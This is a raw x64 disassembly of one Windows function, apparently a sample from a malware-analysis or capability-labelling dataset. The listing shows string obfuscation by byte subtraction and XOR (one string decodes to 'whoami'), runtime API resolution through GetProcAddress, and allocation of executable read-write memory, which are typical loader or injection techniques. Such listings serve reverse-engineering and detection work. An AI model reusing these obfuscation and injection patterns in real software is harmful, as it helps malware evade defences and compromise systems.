Function at 0x1400c2fa0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x2a8
call fcn.140012420
mov ecx, 0xfff
call sub.msvcrt.dll_malloc
mov r13, rax
test rax, rax
je 0x1400c3802
call fcn.140002060
mov edx, 0x6a6e
mov dword [rsp + 0x190], 0x62706978
lea r12, [rsp + 0x190]
mov rbx, rax
mov qword [0x1400f6038], rax
mov eax, 0x6a6e
lea rcx, [rsp + 0x100]
mov word [rsp + 0x194], dx
mov rdx, r12
mov byte [rsp + 0x196], 0
mov word [rsp + 0x34], ax
movzx eax, byte [rsp + 0x190]
mov dword [rsp + 0x30], 0x62706978
sub eax, 1
mov byte [rsp + 0x36], 0
mov byte [rsp + 0x190], al
movzx eax, byte [rsp + 0x191]
sub eax, 1
mov byte [rsp + 0x191], al
movzx eax, byte [rsp + 0x192]
sub eax, 1
mov byte [rsp + 0x192], al
movzx eax, byte [rsp + 0x193]
sub eax, 1
mov byte [rsp + 0x193], al
movzx eax, byte [rsp + 0x194]
sub eax, 1
mov byte [rsp + 0x194], al
movzx eax, byte [rsp + 0x195]
sub eax, 1
mov byte [rsp + 0x195], al
call fcn.140001810
mov rax, qword [rsp + 0x108]
test rax, rax
je 0x1400c3818
mov byte [rsp + 0x5e], 0
lea rsi, [rsp + 0x50]
mov rdi, r12
mov rdx, r12
mov rax, qword [0x1400c83c0]
mov dword [rsp + 0x58], 0x7b6e7c7e
mov ecx, 0xf
mov word [rsp + 0x5c], 0x2943
mov qword [rsp + 0x50], rax
rep movsb byte [rdi], byte [rsi]
movzx eax, byte [rsp + 0x190]
sub eax, 9
mov byte [rsp + 0x190], al
movzx eax, byte [rsp + 0x191]
sub eax, 9
mov byte [rsp + 0x191], al
movzx eax, byte [rsp + 0x192]
sub eax, 9
mov byte [rsp + 0x192], al
movzx eax, byte [rsp + 0x193]
sub eax, 9
mov byte [rsp + 0x193], al
movzx eax, byte [rsp + 0x194]
sub eax, 9
mov byte [rsp + 0x194], al
movzx eax, byte [rsp + 0x195]
sub eax, 9
mov byte [rsp + 0x195], al
movzx eax, byte [rsp + 0x196]
sub eax, 9
mov byte [rsp + 0x196], al
movzx eax, byte [rsp + 0x197]
sub eax, 9
mov byte [rsp + 0x197], al
movzx eax, byte [rsp + 0x198]
sub eax, 9
mov byte [rsp + 0x198], al
movzx eax, byte [rsp + 0x199]
sub eax, 9
mov byte [rsp + 0x199], al
movzx eax, byte [rsp + 0x19a]
sub eax, 9
mov byte [rsp + 0x19a], al
movzx eax, byte [rsp + 0x19b]
sub eax, 9
mov byte [rsp + 0x19b], al
movzx eax, byte [rsp + 0x19c]
sub eax, 9
mov byte [rsp + 0x19c], al
movzx eax, byte [rsp + 0x19d]
mov rcx, qword [str._y_f_]
sub eax, 9
mov byte [rsp + 0x19d], al
call fcn.1400becd0
mov r8, qword [rsp + 0x108]
mov rdx, qword [rsp + 0x100]
mov rcx, rax
call fcn.1400bb480
mov rcx, rax
call fcn.1400bc460
movabs rdi, 0x5e607e524f5a5b60
mov rcx, r13
movabs rbp, 0x5c0f715445707354
call fcn.14001e5f0
movdqu xmm0, xmmword [str.__ZOR_TspETq]
movabs rax, 0x5e076152795e6e64
mov dword [rsp + 0xe0], 0x36
mov byte [rsp + 0xb8], 0
mov qword [rsp + 0xe4], rdi
mov qword [rsp + 0xec], rbp
mov qword [rsp + 0xf4], rax
mov byte [rsp + 0xfc], 0
mov qword [rsp + 0xb0], rax
xor eax, eax
movups xmmword [rsp + 0xa0], xmm0
nop word cs:[rax + rax]
movzx edx, byte [rsp + rax + 0xe4]
mov ecx, dword [rsp + 0xe0]
xor edx, ecx
mov byte [rsp + rax + 0xe4], dl
add rax, 1
cmp rax, 0x18
jne 0x1400c3280
lea rdx, [rsp + 0xe4]
mov rcx, r12
mov byte [rsp + 0xfc], 0
call fcn.140001db0
lea rcx, [rsp + 0xc0]
mov rdx, r12
call fcn.140001e00
mov rcx, qword [rsp + 0x190]
lea r14, [rsp + 0x1a0]
cmp rcx, r14
je 0x1400c32f0
mov rax, qword [rsp + 0x1a0]
lea rdx, [rax + 1]
call fcn.1400c24f0
mov rax, qword [0x1400c82e0]
mov byte [rsp + 0x4c], 0
mov rcx, r12
mov dword [rsp + 0x48], 0x77776f39
mov r13, qword [rsp + 0xc0]
mov qword [rsp + 0x40], rax
movabs rax, 0x3d3e7770797d7076
mov qword [rsp + 0x190], rax
mov dword [rsp + 0x198], 0x77776f39
mov byte [rsp + 0x19c], 0
movzx eax, byte [rsp + 0x190]
sub eax, 0xb
mov byte [rsp + 0x190], al
movzx eax, byte [rsp + 0x191]
sub eax, 0xb
mov byte [rsp + 0x191], al
movzx eax, byte [rsp + 0x192]
sub eax, 0xb
mov byte [rsp + 0x192], al
movzx eax, byte [rsp + 0x193]
sub eax, 0xb
mov byte [rsp + 0x193], al
movzx eax, byte [rsp + 0x194]
sub eax, 0xb
mov byte [rsp + 0x194], al
movzx eax, byte [rsp + 0x195]
sub eax, 0xb
mov byte [rsp + 0x195], al
movzx eax, byte [rsp + 0x196]
sub eax, 0xb
mov byte [rsp + 0x196], al
movzx eax, byte [rsp + 0x197]
sub eax, 0xb
mov byte [rsp + 0x197], al
movzx eax, byte [rsp + 0x198]
sub eax, 0xb
mov byte [rsp + 0x198], al
movzx eax, byte [rsp + 0x199]
sub eax, 0xb
mov byte [rsp + 0x199], al
movzx eax, byte [rsp + 0x19a]
sub eax, 0xb
mov byte [rsp + 0x19a], al
movzx eax, byte [rsp + 0x19b]
sub eax, 0xb
mov byte [rsp + 0x19b], al
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
mov rdx, r13
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, rax
test rax, rax
je 0x1400c37b6
call qword [rbx + 0x68]
mov dword [rsp + 0x28], 0
mov rcx, rax
mov r9d, 0x3000
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r8d, 0x3e8
call rbp
test rax, rax
je 0x1400c38d4
movdqu xmm0, xmmword [0x1400c83e0]
mov word [rsp + 0x74], 0x2842
xor eax, eax
lea rbp, [rsp + 0x80]
mov dword [rsp + 0x70], 0x817a777c
lea rsi, [rsp + 0x60]
mov ecx, 0x17
mov rdi, rbp
mov byte [rsp + 0x76], 0
movups xmmword [rsp + 0x60], xmm0
rep movsb byte [rdi], byte [rsi]
nop dword [rax + rax]
movzx edx, byte [rsp + rax + 0x80]
sub edx, 8
mov byte [rsp + rax + 0x80], dl
add rax, 1
cmp rax, 0x16
jne 0x1400c34a0
mov rcx, qword [str._y_f_]
mov rdx, rbp
call fcn.1400becd0
mov rsi, rax
mov rax, qword [0x1400f6038]
mov rdx, r12
xor ecx, ecx
mov r8d, 0x104
call qword [rax]
test eax, eax
je 0x1400c35ca
lea r13, [rsp + 0x120]
mov rdx, r12
mov rcx, r13
call fcn.140001db0
lea rbx, [rsp + 0x144]
lea r15, [rsp + 0x140]
mov dword [rsp + 0x140], 0x51
mov word [rsp + 0x144], 0
mov rcx, rbx
mov eax, dword [rsp + 0x140]
xor eax, 0x5c
mov byte [rsp + 0x144], al
movzx eax, byte [rsp + 0x144]
mov edx, dword [rsp + 0x140]
xor eax, edx
mov byte [rsp + 0x144], al
mov byte [rsp + 0x145], 0
call sub.msvcrt.dll_strlen
or r8, 0xffffffffffffffff
mov rdx, rbx
mov rcx, r13
mov r9, rax
call fcn.14002e700
cmp rax, 0xffffffffffffffff
jne 0x1400c395e
lea rbx, [rsp + 0x150]
lea r13, [rsp + 0x130]
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x140], rbx
cmp rax, r13
je 0x1400c3a52
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x148], rax
jmp 0x1400c3605
lea r15, [rsp + 0x140]
lea rdx, [rsp + 0x124]
mov dword [rsp + 0x120], 0x6d
mov rcx, r15
mov byte [rsp + 0x124], 0
mov byte [rsp + 0x124], 0
call fcn.140001db0
lea rbx, [rsp + 0x150]
mov r8, qword [rsp + 0x148]
mov rdx, qword [rsp + 0x140]
mov rcx, rsi
call fcn.1400bb480
mov rcx, rax
call fcn.1400bc460
mov rcx, qword [rsp + 0x140]
cmp rcx, rbx
je 0x1400c3643
mov rax, qword [rsp + 0x150]
lea rdx, [rax + 1]
call fcn.1400c24f0
movdqu xmm0, xmmword [0x1400c83f0]
mov ecx, 0x15
mov rsi, rbp
xor eax, eax
lea r13, [rsp + 0x120]
mov byte [rsp + 0x94], 0
mov dword [rsp + 0x90], 0x243e6970
mov rdi, r13
movups xmmword [rsp + 0x80], xmm0
rep movsb byte [rdi], byte [rsi]
nop dword [rax]
movzx edx, byte [rsp + rax + 0x120]
sub edx, 4
mov byte [rsp + rax + 0x120], dl
add rax, 1
cmp rax, 0x14
jne 0x1400c3680
mov rcx, qword [str._y_f_]
mov rdx, r13
call fcn.1400becd0
mov r13, rax
mov rax, qword [0x1400f6038]
mov rdx, r12
xor ecx, ecx
mov r8d, 0x104
call qword [rax]
test eax, eax
je 0x1400c38c0
mov rdx, r12
mov rcx, r15
call fcn.140001db0
mov dword [rsp + 0x190], 2
lea rsi, [rsp + 0x194]
mov word [rsp + 0x194], 0
mov rcx, rsi
mov eax, dword [rsp + 0x190]
xor eax, 0x5c
mov byte [rsp + 0x194], al
movzx eax, byte [rsp + 0x194]
mov edx, dword [rsp + 0x190]
xor eax, edx
mov byte [rsp + 0x194], al
mov byte [rsp + 0x195], 0
call sub.msvcrt.dll_strlen
or r8, 0xffffffffffffffff
mov rdx, rsi
mov rcx, r15
mov r9, rax
call fcn.14002e700
cmp rax, 0xffffffffffffffff
je 0x1400c3a2e
or r9, 0xffffffffffffffff
lea r8, [rax + 1]
mov rdx, r15
mov rcx, r12
call fcn.14002f1e0
mov rcx, qword [rsp + 0x140]
cmp rcx, rbx
je 0x1400c3778
mov rax, qword [rsp + 0x150]
lea rdx, [rax + 1]
call fcn.1400c24f0
mov r8, qword [rsp + 0x198]
mov rdx, qword [rsp + 0x190]
mov rcx, r13
call fcn.1400bb480
mov rcx, rax
call fcn.1400bc460
mov rcx, qword [rsp + 0x190]
cmp rcx, r14
je 0x1400c37b6
mov rax, qword [rsp + 0x1a0]
lea rdx, [rax + 1]
call fcn.1400c24f0
mov rcx, qword [rsp + 0xc0]
lea rax, [rsp + 0xd0]
cmp rcx, rax
je 0x1400c37dc
mov rax, qword [rsp + 0xd0]
lea rdx, [rax + 1]
call fcn.1400c24f0
mov rcx, qword [rsp + 0x100]
lea rax, [rsp + 0x110]
cmp rcx, rax
je 0x1400c3802
mov rax, qword [rsp + 0x110]
lea rdx, [rax + 1]
call fcn.1400c24f0
xor eax, eax
add rsp, 0x2a8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
movdqu xmm0, xmmword [0x1400c83a0]
mov ecx, 0x22
lea rdx, [rsp + 0x194]
mov dword [rsp + 0x190], 0x30
mov word [rsp + 0x180], 0x10
lea rsi, [rsp + 0x160]
mov rdi, rdx
movups xmmword [rsp + 0x160], xmm0
movdqu xmm0, xmmword [0x1400c83b0]
movups xmmword [rsp + 0x170], xmm0
rep movsb byte [rdi], byte [rsi]
nop word [rax + rax]
movzx ecx, byte [rsp + rax + 0x194]
mov r8d, dword [rsp + 0x190]
xor ecx, r8d
mov byte [rsp + rax + 0x194], cl
add rax, 1
cmp rax, 0x21
jne 0x1400c3870
mov rcx, qword [str._y_f_]
mov byte [rsp + 0x1b5], 0
call fcn.1400becd0
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, r14
call fcn.140074be0
jmp 0x1400c31fb
lea rdx, [0x1400c8042]
mov rcx, r15
call fcn.140001db0
jmp 0x1400c36d5
mov dword [rsp + 0x190], 0x266a7e47
mov rdx, r12
mov rcx, qword [str._y_f_]
mov byte [rsp + 0x194], 0
movzx eax, byte [rsp + 0x190]
mov dword [rsp + 0x140], 0x266a7e47
sub eax, 5
mov byte [rsp + 0x144], 0
mov byte [rsp + 0x190], al
movzx eax, byte [rsp + 0x191]
sub eax, 5
mov byte [rsp + 0x191], al
movzx eax, byte [rsp + 0x192]
sub eax, 5
mov byte [rsp + 0x192], al
movzx eax, byte [rsp + 0x193]
sub eax, 5
mov byte [rsp + 0x193], al
call fcn.1400becd0
mov rcx, rax
call fcn.1400bc460
jmp 0x1400c37b6
mov r9, rax
xor r8d, r8d
mov rdx, r13
mov rcx, r15
call fcn.14002f1e0
mov rax, qword [rsp + 0x140]
lea rbx, [rsp + 0x150]
mov rcx, qword [rsp + 0x120]
mov r8, qword [rsp + 0x148]
cmp rax, rbx
je 0x1400c3a68
lea r13, [rsp + 0x130]
mov rdx, qword [rsp + 0x150]
cmp rcx, r13
je 0x1400c3aa5
movq xmm0, r8
movq xmm1, rdx
mov r9, qword [rsp + 0x130]
mov qword [rsp + 0x120], rax
punpcklqdq xmm0, xmm1
movups xmmword [rsp + 0x128], xmm0
test rcx, rcx
je 0x1400c3ac3
mov qword [rsp + 0x140], rcx
mov qword [rsp + 0x150], r9
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x148], 0
mov byte [rax], 0
mov rcx, qword [rsp + 0x140]
cmp rcx, rbx
je 0x1400c3587
mov rax, qword [rsp + 0x150]
lea rdx, [rax + 1]
call fcn.1400c24f0
jmp 0x1400c3587
lea rdx, [rsp + 0x3c]
mov rcx, r12
mov dword [rsp + 0x38], 0x2d
mov byte [rsp + 0x3c], 0
mov byte [rsp + 0x3c], 0
call fcn.140001db0
jmp 0x1400c375a
movdqu xmm2, xmmword [rsp + 0x130]
movups xmmword [rsp + 0x150], xmm2
jmp 0x1400c35b8
test r8, r8
je 0x1400c3a8b
cmp r8, 1
je 0x1400c3ad0
mov rdx, rbx
call sub.msvcrt.dll_memcpy
mov rcx, qword [rsp + 0x120]
mov r8, qword [rsp + 0x148]
mov qword [rsp + 0x128], r8
lea r13, [rsp + 0x130]
mov byte [rcx + r8], 0
jmp 0x1400c39f0
movq xmm0, r8
movq xmm3, rdx
mov qword [rsp + 0x120], rax
punpcklqdq xmm0, xmm3
movups xmmword [rsp + 0x128], xmm0
mov qword [rsp + 0x140], rbx
jmp 0x1400c39f0
movzx eax, byte [rsp + 0x150]
mov byte [rcx], al
mov rcx, qword [rsp + 0x120]
mov r8, qword [rsp + 0x148]
jmp 0x1400c3a8b